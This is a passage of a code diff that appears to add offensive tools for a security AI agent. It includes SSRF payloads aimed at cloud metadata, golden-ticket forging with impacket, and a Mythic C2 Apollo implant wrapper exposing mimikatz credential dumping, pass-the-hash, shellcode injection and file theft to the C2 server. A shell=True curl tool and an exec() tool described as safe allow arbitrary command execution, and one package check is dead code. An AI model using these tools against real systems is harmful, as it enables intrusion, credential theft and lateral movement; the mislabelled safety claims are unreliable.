CNAME record + try: + cname_cmd = ["dig", "@8.8.8.8", subdomain, "CNAME", "+short"] + executed_commands.append(" ".join(cname_cmd)) + cname_result = subprocess.run( + cname_cmd, + check=False, + capture_output=True, + text=True, + timeout=15, + ) + + if cname_result.stdout.strip(): + cname_target = cname_result.stdout.strip() + results.append(f"CNAME: {cname_target}") + + # Check if CNAME target resolves + a_cname_cmd = ["dig", "@8.8.8.8", cname_target, "A", "+short"] + executed_commands.append(" ".join(a_cname_cmd)) + a_result = subprocess.run( + a_cname_cmd, + check=False, + capture_output=True, + text=True, + timeout=15, + ) + + if a_result.stdout.strip(): + results.append(f"CNAME target resolves to: {a_result.stdout.strip()}") + else: + results.append("CNAME target does not resolve") + else: + results.append("No CNAME record") + + except Exception as e: + results.append(f"CNAME check error: {e}") + + # Check A record + try: + a_cmd = ["dig", "@8.8.8.8", subdomain, "A", "+short"] + executed_commands.append(" ".join(a_cmd)) + a_result = subprocess.run( + a_cmd, + check=False, + capture_output=True, + text=True, + timeout=15, + ) + + if a_result.stdout.strip(): + results.append(f"A record: {a_result.stdout.strip()}") + else: + results.append("No A record") + + except Exception as e: + results.append(f"A record check error: {e}") + + # Try HTTP request + try: + import requests + + http_cmd = f"curl -I http://{subdomain}" + executed_commands.append(http_cmd) + response = requests.get(f"http://{subdomain}", timeout=10, allow_redirects=False) + results.append(f"HTTP status: {response.status_code}") + + # Include first 500 chars of response for analysis + if response.text: + preview = response.text[:500].replace("\n", " ").strip() + results.append(f"HTTP response preview: {preview}") + + except Exception as e: + results.append(f"HTTP request failed: {e}") + + logger.info(f"[*] DNS and HTTP check completed for {subdomain}") + + command_log = "Commands executed:\n" + "\n".join(f" {cmd}" for cmd in executed_commands) + return command_log + "\n\nResults:\n" + "\n".join(results) + + @tool_method() + def test_ssrf_vulnerability( + self, + url: str, + parameter: str, + original_value: str = "", + ) -> str: + """ + Test a URL parameter for SSRF vulnerability by trying various payloads. + + Args: + url: Target URL containing the vulnerable parameter + parameter: Parameter name to test + original_value: Original parameter value for comparison + + Returns: + SSRF test results comparing different payloads + + Example: + >>> result = test_ssrf_vulnerability("https://target.com/api?data=value", "data", "original") + """ + + results = [] + executed_commands = [] + + # Test payloads for SSRF + payloads = [ + ("localhost", "http://127.0.0.1"), + ("internal-ip", "http://192.168.1.1"), + ("cloud-metadata", "http://169.254.169.254/latest/meta-data/"), + ("external-control", "http://httpbin.org/get"), + ] + + # Test original request first if we have original value + if original_value: + try: + if '?' in url: + test_url = f"{url}&{parameter}={original_value}" + else: + test_url = f"{url}?{parameter}={original_value}" + + curl_cmd = f"curl -s -w '%{{http_code}}|%{{time_total}}' --max-time 10 '{test_url}'" + executed_commands.append(curl_cmd) + + import requests + response = requests.get(test_url, timeout=10, allow_redirects=False) + results.append(f"Original request: HTTP {response.status_code}, Length: {len(response.text)}") + + except Exception as e: + results.append(f"Original request failed: {e}") + + # Test SSRF payloads + for payload_name, payload_value in payloads: + try: + # URL encode the payload + import urllib.parse + encoded_payload = urllib.parse.quote(payload_value, safe='') + + if '?' in url: + test_url = f"{url}&{parameter}={encoded_payload}" + else: + test_url = f"{url}?{parameter}={encoded_payload}" + + curl_cmd = f"curl -s -w '%{{http_code}}|%{{time_total}}' --max-time 10 '{test_url}'" + executed_commands.append(curl_cmd) + + import requests + import time + start_time = time.time() + response = requests.get(test_url, timeout=10, allow_redirects=False) + response_time = time.time() - start_time + + # Check for SSRF indicators + indicators = [] + if response.status_code != 200: + indicators.append(f"status_{response.status_code}") + if response_time > 5: + indicators.append("slow_response") + if any(keyword in response.text.lower() for keyword in ['connection refused', 'timeout', 'internal']): + indicators.append("error_messages") + if len(response.text) < 100: + indicators.append("short_response") + + indicator_str = f" [{', '.join(indicators)}]" if indicators else "" + results.append(f"{payload_name}: HTTP {response.status_code}, Time: {response_time:.2f}s, Length: {len(response.text)}{indicator_str}") + + except requests.exceptions.Timeout: + results.append(f"{payload_name}: TIMEOUT (potential SSRF indicator)") + except requests.exceptions.ConnectionError as e: + results.append(f"{payload_name}: CONNECTION_ERROR - {str(e)[:100]}") + except Exception as e: + results.append(f"{payload_name}: ERROR - {str(e)[:100]}") + + logger.info(f"[*] SSRF vulnerability test completed for {url}") + + command_log = "Commands executed:\n" + "\n".join(f" {cmd}" for cmd in executed_commands) + return command_log + "\n\nResults:\n" + "\n".join(results) + + @tool_method() + def http_request( + self, + url: str, + method: str = "GET", + headers: dict[str, str] | None = None, + timeout: int = 10, + follow_redirects: bool = False, + max_response_size: int = 5000, + ) -> str: + """ + Make an HTTP request and return detailed response information. + + Args: + url: Target URL to request + method: HTTP method (GET, POST, PUT, etc.) + headers: Optional HTTP headers to send + timeout: Request timeout in seconds + follow_redirects: Whether to follow HTTP redirects + max_response_size: Maximum response size to capture (chars) + + Returns: + Detailed HTTP response information including status, headers, timing, and content + + Example: + >>> result = http_request("https://httpbin.org/get") + >>> result = http_request("https://target.com/api?param=http://127.0.0.1", timeout=5) + """ + + results = [] + executed_commands = [] + + try: + curl_cmd_parts = ["curl", "-s", "-v", "--max-time", str(timeout)] + if method != "GET": + curl_cmd_parts.extend(["-X", method]) + if follow_redirects: + curl_cmd_parts.append("--location-trusted") + if headers: + for key, value in headers.items(): + curl_cmd_parts.extend(["-H", f"{key}: {value}"]) + curl_cmd_parts.append(f"'{url}'") + + curl_cmd = " ".join(curl_cmd_parts) + executed_commands.append(curl_cmd) + + + start_time = time.time() + + response = requests.request( + method=method, + url=url, + headers=headers or {}, + timeout=timeout, + allow_redirects=follow_redirects, + verify=False, # Allow self-signed certs for testing + ) + + response_time = time.time() - start_time + + # Capture response details + results.append(f"HTTP/{response.raw.version // 10}.{response.raw.version % 10} {response.status_code} {response.reason}") + results.append(f"Response time: {response_time:.3f}s") + results.append(f"Content length: {len(response.content)} bytes") + results.append(f"Content type: {response.headers.get('content-type', 'unknown')}") + + # Capture important response headers + important_headers = ['server', 'location', 'set-cookie', 'x-powered-by', 'x-frame-options'] + for header in important_headers: + if header in response.headers: + results.append(f"{header.title()}: {response.headers[header]}") + + # Capture response body (truncated if too large) + if response.content: + try: + response_text = response.text + if len(response_text) > max_response_size: + preview = response_text[:max_response_size] + "... [TRUNCATED]" + else: + preview = response_text + + # Clean up response for analysis + preview = preview.replace('\n', '\\n').replace('\r', '\\r') + results.append(f"Response body: {preview}") + except: + results.append("Response body: [BINARY DATA]") + else: + results.append("Response body: [EMPTY]") + + # Add analysis hints + analysis_hints = [] + if response_time > 5: + analysis_hints.append("SLOW_RESPONSE") + if response.status_code >= 500: + analysis_hints.append("SERVER_ERROR") + if response.status_code == 403: + analysis_hints.append("FORBIDDEN") + if response.status_code in [301, 302, 307, 308]: + analysis_hints.append("REDIRECT") + if len(response.content) == 0: + analysis_hints.append("EMPTY_RESPONSE") + if any(keyword in response.text.lower() for keyword in ['connection', 'timeout', 'refused', 'internal']): + analysis_hints.append("CONNECTION_KEYWORDS") + + if analysis_hints: + results.append(f"Analysis hints: {', '.join(analysis_hints)}") + + except requests.exceptions.Timeout: + results.append(f"Request timed out after {timeout}s") + results.append("Analysis hints: TIMEOUT") + except requests.exceptions.ConnectionError as e: + error_msg = str(e)[:200] + results.append(f"Connection error: {error_msg}") + results.append("Analysis hints: CONNECTION_ERROR") + except Exception as e: + error_msg = str(e)[:200] + results.append(f"Request failed: {error_msg}") + results.append("Analysis hints: REQUEST_FAILED") + + logger.info(f"[*] HTTP request completed for {url}") + + command_log = "Commands executed:\n" + "\n".join(f" {cmd}" for cmd in executed_commands) + return command_log + "\n\nResults:\n" + "\n".join(results) + + @tool_method() + def curl(self, args: str) -> str: + """ + Execute curl command with specified arguments. + + Args: + args: Complete curl arguments (e.g., "-s -I https://example.com" or "-X POST -d 'data' https://api.example.com") + + Returns: + Raw curl output + """ + try: + result = subprocess.run( + f"curl {args}", + shell=True, + capture_output=True, + text=True, + timeout=30 + ) + + output = [] + if result.stdout: + output.append("STDOUT:") + output.append(result.stdout) + if result.stderr: + output.append("STDERR:") + output.append(result.stderr) + output.append(f"Exit code: {result.returncode}") + + return "\n".join(output) + + except subprocess.TimeoutExpired: + return "Error: Command timed out after 30 seconds" + except Exception as e: + return f"Error executing curl: {e}" + + @tool_method() + def python_requests(self, code: str) -> str: + """ + Execute Python requests library code for HTTP operations. + + Args: + code: Python code using requests library (imports handled automatically) + + Returns: + Output from executed Python code + + Example: + code = "r = requests.get('https://httpbin.org/get'); print(f'Status: {r.status_code}'); print(r.text[:200])" + """ + try: + # Create safe execution environment with requests available + import sys + from io import StringIO + + # Capture output + old_stdout = sys.stdout + sys.stdout = captured_output = StringIO() + + # Execute the code with requests imported + exec_globals = { + 'requests': requests, + 'json': __import__('json'), + 'time': time, + } + + exec(code, exec_globals) + + # Restore stdout and get output + sys.stdout = old_stdout + output = captured_output.getvalue() + + return output if output else "Code executed successfully (no output)" + + except Exception as e: + sys.stdout = old_stdout + return f"Error executing code: {e}" + + @tool_method() + def canitakeover(self, cname_target: str) -> str: + """Check CNAME target for subdomain takeover vulnerability patterns. Use this tool whenever you find a CNAME record pointing to external services. + + Args: + cname_target: CNAME target to check (e.g., 'example.herokuapp.com') + + Returns: + Service and vulnerability status + """ + patterns = { + 'github.io': 'GitHub Pages - VULNERABLE', + 'herokuapp.com': 'Heroku - VULNERABLE', + 'wordpress.com': 'WordPress.com - VULNERABLE', + 'netlify.app': 'Netlify - VULNERABLE', + 'vercel.app': 'Vercel - VULNERABLE', + 's3.amazonaws.com': 'Amazon S3 - VULNERABLE', + 'azurewebsites.net': 'Azure Web Apps - VULNERABLE', + 'surge.sh': 'Surge.sh - VULNERABLE', + 'bitbucket.io': 'Bitbucket Pages - VULNERABLE', + 'webflow.io': 'Webflow - VULNERABLE', + 'ghost.io': 'Ghost.io - VULNERABLE', + 'helpjuice.com': 'Helpjuice - VULNERABLE', + 'helpscout.net': 'Help Scout - VULNERABLE', + 'cargo.site': 'Cargo Collective - VULNERABLE', + 'feedpress.me': 'FeedPress - VULNERABLE', + 'uptimerobot.com': 'UptimeRobot - VULNERABLE', + 'pantheonsite.io': 'Pantheon - VULNERABLE', + 'elasticbeanstalk.com': 'AWS Elastic Beanstalk - VULNERABLE', + 'agilecrm.com': 'Agile CRM - VULNERABLE', + 'airee.ru': 'Airee.ru - VULNERABLE', + 'animaapp.io': 'Anima - VULNERABLE', + 'trydiscourse.com': 'Discourse - VULNERABLE', + 'furyns.com': 'Gemfury - VULNERABLE', + 'hatenablog.com': 'HatenaBlog - VULNERABLE', + 'helpscoutdocs.com': 'Help Scout Docs - VULNERABLE', + 'helprace.com': 'Helprace - VULNERABLE', + 'youtrack.cloud': 'JetBrains - VULNERABLE', + 'launchrock.com': 'LaunchRock - VULNERABLE', + 'ngrok.io': 'Ngrok - VULNERABLE', + 'readme.io': 'Readme.io - VULNERABLE', + 'strikinglydns.com': 'Strikingly - VULNERABLE', + 'surveysparrow.com': 'SurveySparrow - VULNERABLE', + 'read.uberflip.com': 'Uberflip - VULNERABLE', + 'worksites.net': 'Worksites - VULNERABLE' + } + + for pattern, service in patterns.items(): + if pattern in cname_target.lower(): + logger.info(f"[+] Subdomain takeover potential found: {cname_target} -> {service}") + dn.log_metric("subdomain-takeover-vulnerable", 1) + return service + + logger.info(f"[-] No known vulnerable pattern found for: {cname_target}") + dn.log_metric("subdomain-takeover-not-vulnerable", 1) + return f"Unknown service - Check https://github.com/EdOverflow/can-i-take-over-xyz" + + @tool_method() + def generate_golden_ticket( + self, + krbtgt_hash: str, + domain_sid: str, + domain: str, + extra_sid: str, + ) -> str: + """ + Generate a golden ticket for Administrator. + + Args: + krbtgt_hash: NTLM hash of the krbtgt account + domain_sid: SID of the domain + domain: Domain to generate a ticket for (e.g., "domain.local"), same domain from domain_sid and krbtgt_hash + extra_sid: Extra SID to add to the ticket, from the target domain + + Returns: + String of generate_golden_ticket output + + Example: + >>> output = generate_golden_ticket("longhash", "user.name", "S-1-5-###SID", "domain.local", "S-1-5-###SID-519", "500") + """ + + cmd = [ + "impacket-ticketer", + "-nthash", + krbtgt_hash, + "-domain-sid", + domain_sid, + "-domain", + domain, + "-extra-sid", + extra_sid, + "-user-id", + "500", + "Administrator", + ] + + try: + logger.info("[*] Generating golden ticket for Administrator") + logger.info(f"[*] Command: {cmd}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e}" + else: + return result.stdout diff --git a/dreadnode/agent/tools/loader.py b/dreadnode/agent/tools/loader.py new file mode 100644 index 00000000..97613ca9 --- /dev/null +++ b/dreadnode/agent/tools/loader.py @@ -0,0 +1,86 @@ +from dataclasses import dataclass +from importlib import import_module +from pathlib import Path +from typing import Any + +import yaml +from packaging.requirements import Requirement + +from .manifest import ToolManifest + + +def _merge_defaults( + schema_defaults: dict[str, Any], overrides: dict[str, Any] | None +) -> dict[str, Any]: + cfg = dict(schema_defaults) + if overrides: + for k, v in overrides.items(): + cfg[k] = v + return cfg + + +@dataclass +class LoadedTool: + manifest: ToolManifest + instance: Any # Tool/Toolset object + config: dict[str, Any] + + +def load_tool( + manifest: ToolManifest, *, core_version: str, config_overrides: dict[str, Any] | None = None +) -> LoadedTool: + # 1) compatibility + if not manifest.compatibility.satisfied(core_version=core_version): + raise RuntimeError(f"Tool {manifest.id} incompatible with core {core_version}") + + # 2) requirements (Python) — report missing; do not auto-install. + missing: list[str] = [] + for spec in manifest.requirements.python.packages: + try: + Requirement(spec) # validates syntax only + except Exception as e: + raise RuntimeError(f"Invalid requirement '{spec}': {e}") + # Optional: attempt import heuristic by package name (best-effort) + if missing: + raise RuntimeError(f"Missing packages: {missing}") + + # 3) import entrypoint + ep = manifest.entrypoint + mod = import_module(ep.module) + obj = None + if ep.factory: + obj = getattr(mod, ep.factory) + instance = obj(**(ep.kwargs or {})) + else: + target = getattr(mod, ep.qualname) if ep.qualname else mod + # If class -> instantiate; if function -> use as-is; if module -> look for "create". + if isinstance(target, type) or callable(target): + instance = target(**(ep.kwargs or {})) + else: + factory = getattr(target, "create", None) + if not callable(factory): + raise RuntimeError( + "Entrypoint must be class/function or expose a callable 'create'" + ) + instance = factory(**(ep.kwargs or {})) + + # 4) config merge + cfg = _merge_defaults(manifest.config_schema.defaults(), config_overrides) + + # Optional: you can inject cfg into your Tool/Toolset constructor or setter here + if hasattr(instance, "configure") and callable(instance.configure): + instance.configure(cfg) + + return LoadedTool(manifest=manifest, instance=instance, config=cfg) + + +SUPPORTED = {".yaml", ".yml"} + + +def load_manifest_file(path: Path) -> ToolManifest: + ext = path.suffix.lower() + if ext not in SUPPORTED: + raise ValueError(f"Unsupported manifest extension: {ext}") + data: dict[str, Any] + if ext in {".yaml", ".yml"}: + data = yaml.safe_load(path.read_text(encoding="utf-8")) diff --git a/dreadnode/agent/tools/manifest.py b/dreadnode/agent/tools/manifest.py new file mode 100644 index 00000000..c9cc6cf2 --- /dev/null +++ b/dreadnode/agent/tools/manifest.py @@ -0,0 +1,129 @@ +import platform +import sys +from typing import Any, Literal + +from packaging import version +from packaging.markers import Marker +from packaging.specifiers import SpecifierSet +from pydantic import BaseModel, ConfigDict, Field, field_validator + + +class EntryPoint(BaseModel): + module: str + qualname: str | None = None + factory: str | None = None + kwargs: dict[str, Any] = Field(default_factory=dict) + + +class Capabilities(BaseModel): + consumes: list[str] = Field(default_factory=list) + produces: list[str] = Field(default_factory=list) + flags: list[str] = Field(default_factory=list) + variants: list[str] = Field(default_factory=list) + + +class PythonReq(BaseModel): + min: str | None = None + packages: list[str] = Field(default_factory=list) + + +class SystemReq(BaseModel): + apt: list[str] = Field(default_factory=list) + brew: list[str] = Field(default_factory=list) + choco: list[str] = Field(default_factory=list) + + +class BinaryReq(BaseModel): + name: str + optional: bool = False + + +class Requirements(BaseModel): + python: PythonReq = Field(default_factory=PythonReq) + system: SystemReq = Field(default_factory=SystemReq) + binaries: list[BinaryReq] = Field(default_factory=list) + + +class InstallSpec(BaseModel): + strategy: Literal["inproc", "uv-venv", "subprocess", "ray-actor"] = "inproc" + venv_name: str | None = None + preinstall: list[str] = Field(default_factory=list) + postinstall: list[str] = Field(default_factory=list) + + +class Compatibility(BaseModel): + requires_core: str | None = None + platforms: list[str] = Field(default_factory=list) + markers: str | None = None # PEP 508 string + + def satisfied(self, *, core_version: str) -> bool: + if self.requires_core: + if version.parse(core_version) not in SpecifierSet(self.requires_core): + return False + if self.platforms: + cur = sys.platform + plat = platform.system().lower() + if cur.startswith("linux"): + cur_norm = "linux" + elif cur.startswith("win"): + cur_norm = "windows" + elif cur.startswith("darwin"): + cur_norm = "darwin" + else: + cur_norm = plat or cur + if cur_norm not in {p.lower() for p in self.platforms}: + return False + if self.markers: + try: + if not Marker(self.markers).evaluate(): + return False + except Exception: + return False + return True + + +class Permissions(BaseModel): + network: bool = True + filesystem: list[str] = Field(default_factory=list) + subprocess: list[str] = Field(default_factory=list) + + +class ConfigSchema(BaseModel): + # Minimal JSON‑Schema subset + properties: dict[str, dict[str, Any]] = Field(default_factory=dict) + required: list[str] = Field(default_factory=list) + + def defaults(self) -> dict[str, Any]: + out: dict[str, Any] = {} + for k, spec in self.properties.items(): + if "default" in spec: + out[k] = spec["default"] + return out + + +class ToolManifest(BaseModel): + model_config = ConfigDict(extra="ignore") + + manifest_version: Literal[1] = 1 + id: str + name: str + version: str + description: str | None = None + author: str | None = None + license: str | None = None + + entrypoint: EntryPoint + capabilities: Capabilities = Field(default_factory=Capabilities) + config_schema: ConfigSchema = Field(default_factory=ConfigSchema) + requirements: Requirements = Field(default_factory=Requirements) + install: InstallSpec = Field(default_factory=InstallSpec) + compatibility: Compatibility = Field(default_factory=Compatibility) + permissions: Permissions = Field(default_factory=Permissions) + metadata: dict[str, Any] = Field(default_factory=dict) + + @field_validator("id") + @classmethod + def _id_nonempty(cls, v: str) -> str: + if not v or ":" in v or " " in v: + raise ValueError("id must be a simple, colon/space‑free string") + return v diff --git a/dreadnode/agent/tools/mythic/__init__.py b/dreadnode/agent/tools/mythic/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/mythic/apollo/__init__.py b/dreadnode/agent/tools/mythic/apollo/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/mythic/apollo/tool.py b/dreadnode/agent/tools/mythic/apollo/tool.py new file mode 100644 index 00000000..f414e69e --- /dev/null +++ b/dreadnode/agent/tools/mythic/apollo/tool.py @@ -0,0 +1,630 @@ +import typing as t +from dataclasses import dataclass +from pathlib import Path + +from loguru import logger +from mythic import mythic # type: ignore +from mythic.mythic import Mythic # type: ignore + +from dreadnode.agent.tools import Toolset, tool_method + +MAX_ACTOR_PAYLOAD_SIZE = 1 * 1024 * 1024 + + +SCRIPTS_DIR = Path(__file__).resolve().parent / "scripts" + + +@dataclass +class ApolloTool(Toolset): + _client: Mythic = None + _callback_id: int | None = None + _intialized: bool = False + + name: str = "Apollo" + description: str = "A Windows Post-Exploitation Tool" + + @classmethod + async def create( + cls, + username: str, + password: str, + server_ip: str, + server_port: int, + timeout: int = -1, + callback_id: int = 0, + ) -> "Apollo": + """Create an instance of the Apollo class.""" + + instance = cls() + + try: + client = await mythic.login( + username=username, + password=password, + server_ip=server_ip, + server_port=server_port, + timeout=timeout, + ) + + instance._client = client + instance._callback_id = callback_id + instance._intialized = True + await instance.create( + username=username, + password=password, + server_ip=server_ip, + server_port=server_port, + timeout=timeout, + ) + except Exception as e: + err_msg = f"Failed to login to Mythic: {e}" + logger.error(err_msg) + raise RuntimeError(err_msg) from e + else: + return instance + + async def execute( + self, + command: str, + args: dict[str, t.Any] | str, + timeout: int | None = None, + ) -> str: + """ + Executes supplied command to the Apollo implant through the Mythic C2 framework + """ + logger.debug(f"Executing command: {command} with args: {args}") + + try: + output_bytes = await mythic.issue_task_and_waitfor_task_output( + mythic=self._client, + command_name=command, + parameters=args, + callback_display_id=self._callback_id, + timeout=timeout, + ) + except (TimeoutError, ValueError) as e: + output = f"An unexpected error occured when trying to execute previous command. The error is:\n\n{e}.\n. Sometimes the command just needs to be re-executed, however if already tried to re-execute the command, best to move on to another." + logger.warning(output) + return output + + if not output_bytes: + output = f"Command '{command}' returned no output." + logger.debug(output) + return output + + logger.debug(f"Command output: {output}") + + return str(output_bytes.decode() if isinstance(output_bytes, bytes) else output_bytes) + + @tool_method(name="cat", description="Read the contents of a file at the specified path.") + async def cat( + self, + path: t.Annotated[str, "The path of the file to read."], + ) -> str: + if not path: + path = "" + + return await self.execute( + command="cat", + args=path, + ) + + @tool_method() + async def cd(self, path: t.Annotated[str, "The path to change into."]) -> str: + """ + Change directory to [path]. Path relative identifiers such as ../ are accepted. The path can be absolute or relative. If the path is relative, it will be resolved against the current working directory of the agent. + + Examples: + cd -path C:\\\\Users\\Public\\Documents + cd .. + """ + + return await self.execute( + command="cd", + args=path, + ) + + @tool_method() + async def cp( + self, + source: t.Annotated[str, "The path to the source file on the target system to copy."], + dest: t.Annotated[ + str | None, + "The destination path on the target system to copy the file to.", + ], + ) -> str: + """ + Copy a file from the source path to the destination path on the target system. The source and destination paths can be absolute or relative. If the paths are relative, they will be resolved against the current working directory of the agent. + + Examples: + cp c:\\\\path\\to\\source.txt C:\\\\path\\to\\destination.txt + cp -path C:\\\\path\\to\\source.txt" -dest" C:\\\\path\\to\\destination.txt + """ + + return await self.execute( + command="cp", + args={ + "-source": source, + "-dest": dest, + }, + ) + + @tool_method() + async def download( + self, + path: t.Annotated[str, "The full path of the file on the target system to download."], + ) -> str: + """ + Download a file from the target system to the C2 server. The file will be saved with the specified filename on the C2 server. + + Examples: + download -path "C:\\\\Windows\\\\passwords.txt" + """ + + return await self.execute( + command="download", + args=path, + ) + + @tool_method() + async def getprivs(self) -> str: + """ + Attempt to enable all possible privileges for the agent's current access token. This may include privileges like SeDebugPrivilege, SeImpersonatePrivilege, etc. + """ + return await self.execute( + command="getprivs", + args="", + ) + + @tool_method() + async def ifconfig(self) -> str: + """ + List the network interfaces and their configuration details on the target system. This includes IP addresses, subnet masks, and other relevant information. + """ + return await self.execute( + command="ifconfig", + args="", + ) + + @tool_method() + async def jobkill( + self, + jid: t.Annotated[int, "The job identifier of the background job to terminate."], + ) -> str: + """ + Terminate a background job with the specified job identifier (jid). This will stop the job from running and free up any resources it was using. + + Examples: + jobkill 12345 + jobkill -jid 67890 + jobkill {"jid": 12345} + """ + return await self.execute(command="jobkill", args={"jid": jid}) + + @tool_method() + async def jobs(self) -> str: + """ + Get all currently active background jobs being managed by the agent. + + Prompt: + List all currently active background jobs being managed by the agent. This includes jobs that are running, completed, or failed. + + Examples: + jobs + jobs -all + jobs {"all": true} + """ + + return await self.execute( + command="jobs", + args="", + ) + + @tool_method() + async def ls( + self, + path: t.Annotated[ + str | None, + "The path of the directory to list. Defaults to the current working directory.", + ], + ) -> str: + """ + List files and folders in a specified directory. + If no path is specified, the current working directory will be used. The path can be absolute or relative. If the path is relative, it will be resolved against the current working directory of the implant. + """ + path = "" if not path or "null" in path.lower() else {"Path": path} + + return await self.execute( + command="ls", + args=path, + ) + + @tool_method() + async def make_token( + self, + username: t.Annotated[str, "The username to use for the new logon session."], + password: t.Annotated[str, "The password for the specified username."], + netonly: t.Annotated[ + str | None, + "If true, the token will be created for network access only. If false, the token will be created for interactive access.", + ], + ) -> str: + """ + Create a new logon session using the specified [username] and [password]. The token can be created for network access only or interactive access based on the [netonly] parameter. + + Examples: + make_token -username user -password password -netonly false + make_token {"username": "user", "password": "password", "netonly": false} + make_token {"username": "domain\\sam_accountname","password": "users_password","netOnly": true} + """ + return await self.execute( + command="make_token", + args={"username": username, "password": password, "netOnly": str(netonly)}, + ) + + @tool_method() + async def mimikatz( + self, + commands: t.Annotated[ + list[str], + "A list of Mimikatz commands to execute. Each command should be separated by a newline.", + ], + ) -> str: + """ + Execute one or more mimikatz commands using its reflective library. + + Examples: + mimikatz sekurlsa::logonpasswords + mimikatz sekurlsa::tickets + mimikatz token::list + mimikatz lsadump::sam + mimikatz sekurlsa::wdigest + mimikatz vault::cred + mimikatz vault::list + mimikatz sekurlsa::dpapi + """ + + return await self.execute( + command="mimikatz", + args=commands, + ) + + @tool_method( + name="net_dclist", + description="Enumerate Domain Controllers for the specified domain (or the current domain).", + ) + async def net_dclist( + self, + domain: t.Annotated[ + str | None, + "The target domain for which to enumerate Domain Controllers. Defaults to the current domain if omitted.", + ], + ) -> str: + return await self.execute( + command="net_dclist", + args={"Domain": domain}, + ) + + @tool_method() + async def net_localgroup( + self, + computer: t.Annotated[ + str | None, "Defaults to the local machine (localhost) if omitted." + ] = None, + ) -> str: + """ + List the local groups on the specified [computer]. If no computer is specified, the local machine will be used. + + Examples: + net_localgroup -computer "east.dreadnode.local" + net_localgroup -computer "east.dreadnode.local" + """ + + return await self.execute( + command="net_localgroup", + args=computer or "", + ) + + @tool_method() + async def net_localgroup_member( + self, + group: t.Annotated[str, "The name of the local group to list members for."], + computer: t.Annotated[ + str | None, + "The hostname or IP address of the target computer. Defaults to the local machine (localhost) if omitted.", + ] = None, + ) -> str: + """ + List the members of a specific local [group] on the specified [computer]. If no computer is specified, the local machine will be used. + + Examples: + net_localgroup_member -computer "east.dreadnode.local" -group "Administrators" + net_localgroup_member -computer "domain1.north.dreadnode.local" -group "Users" + """ + + return await self.execute( + command="net_localgroup_member", + args=f"-group {group} -computer {computer} " if computer else f"-group {group}", + ) + + @tool_method() + async def net_shares( + self, + computer: t.Annotated[ + str, + "The hostname or IP address of the target computer. Defaults to the local machine (localhost) if omitted.", + ], + ) -> str: + """ + List network shares available on the specified [computer]. If no computer is specified, the local machine will be used. + + Examples: + net_shares -computer "north.sevenkingdoms.local" + net_shares -computer "winterfell.north.sevenkingdoms.local" + """ + + return await self.execute( + command="net_shares", + args={"Computer": computer}, + ) + + @tool_method() + async def netstat(self) -> str: + """Display active TCP/UDP connections and listening ports on the target system. This includes information about the local and remote addresses, port numbers, and connection states.""" + + return await self.execute(command="netstat", args="") + + @tool_method() + async def powerpick( + self, + arguments: t.Annotated[ + str, + "The PowerShell command or script block to execute. This can be a single command or a script block enclosed in curly braces.", + ], + ) -> str: + """ + Injects a PowerShell loader into a sacrificial process and executes the provided PowerShell [command]. This allows for executing PowerShell commands or scripts in the context of the agent's current security token. + + powerpick -arguments "Get-Process" + """ + return await self.execute(command="powerpick", args=arguments) + + @tool_method() + async def powershell_import( + self, + filename: t.Annotated[ + str, + ".ps1 file to be registered within Apollo agent and made available to PowerShell jobs", + ], + ) -> str: + """ + Register a new powershell .ps1 file in the Apollo agent and allow for powershell script to be available for PowerShell jobs. + This is not Powershell's Import-Module command but Apollo's native powershell import command. The file must exist on the Mythic C2 server. If file is not present, it can be uploaded with the upload tool. + """ + return await self.execute( + command="powershell_import", args={"existingFile": filename}, timeout=60 + ) + + @tool_method() + async def pth( + self, + domain: t.Annotated[ + str, "The target domain for which to perform the Pass-the-Hash operation." + ], + username: t.Annotated[str, "The username to authenticate as."], + password_hash: t.Annotated[ + str, + "The NTLM hash of the user's password. This is used instead of the plaintext password.", + ], + ) -> str: + """ + Authenticate to a remote system using a Pass-the-Hash technique with the specified [domain], [username], and [password_hash]. This allows for authentication without needing the plaintext password. + + Examples: + pth -domain "north.sevenkingdoms.local" -username "jeor.mormont" -password_hash "5f4dcc3b5aa765d61d8327deb882cf99" + """ + return await self.execute( + command="pth", + args={ + "-domain": domain, + "-username": username, + "-password_hash": password_hash, + }, + ) + + @tool_method() + async def ps( + self, + args: t.Annotated[str, "arguments for the 'ps' command, encoded in a string"], + ) -> str: + """List running processes on the target system, typically including PID, name, architecture, and user context.""" + return await self.execute( + command="ps", + args=args, + ) + + @tool_method() + async def pwd(self) -> str: + """Print the agent's current working directory on the target system. This is the directory where the agent is currently operating.""" + return await self.execute( + command="pwd", + args="", + ) + + @tool_method() + async def reg_query( + self, + key: t.Annotated[ + str, + "The full path of the registry key to query (e.g., 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion').", + ], + ) -> str: + """Query the values and subkeys under a specified registry [key]. This allows for retrieving information from the Windows registry. + + Examples: + reg_query -key "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" + """ + return await self.execute( + command="reg_query", + args=key, + ) + + @tool_method() + async def register_assembly( + self, + filename: t.Annotated[str, "Assembly file to register to the Apollo agent"], + ) -> str: + """ + Registers (loads) assembly files/commands to a Mythic agent. + """ + return await self.execute(command="register_assembly", args={"existingFile": filename}) + + @tool_method() + async def rev2self(self) -> str: + """ + Revert the agent's impersonation state, returning to its original primary token. This is useful for restoring the agent's original security context after performing actions with a different token. + + This command is useful when the agent has been impersonating another user or process and needs to revert back to its original state. + """ + return await self.execute( + command="rev2self", + args="", + ) + + @tool_method() + async def set_injection_technique( + self, + technique: t.Annotated[ + str, + "The name of the process injection technique to use for subsequent injection commands (e.g., 'CreateRemoteThread', 'MapViewOfSection'). Must be a technique supported by the agent (see `get_injection_techniques`).", + ], + ) -> str: + """ + Set the default process injection technique used by commands like `assembly_inject`, `execute_assembly`, etc. This allows for specifying the method of injecting code into a target process. + + Examples: + set_injection_technique -technique "CreateRemoteThread" + """ + return await self.execute( + command="set_injection_technique", + args=technique, + ) + + @tool_method() + async def shinject(self) -> str: + """ + Inject raw shellcode into a remote process. This allows for executing arbitrary code in the context of another process. + + Examples: + shinject -path "C:\\\\Windows\\\\System32\\\\notepad.exe" -shellcode "0x90, 0x90, 0x90" + """ + return await self.execute( + command="shinject", + args="", + ) + + @tool_method() + async def spawn(self) -> str: + """Spawn a new agent session using the currently configured 'spawnto' executable and payload template (must be shellcode).""" + + return await self.execute( + command="spawn", + args="", + ) + + @tool_method() + async def 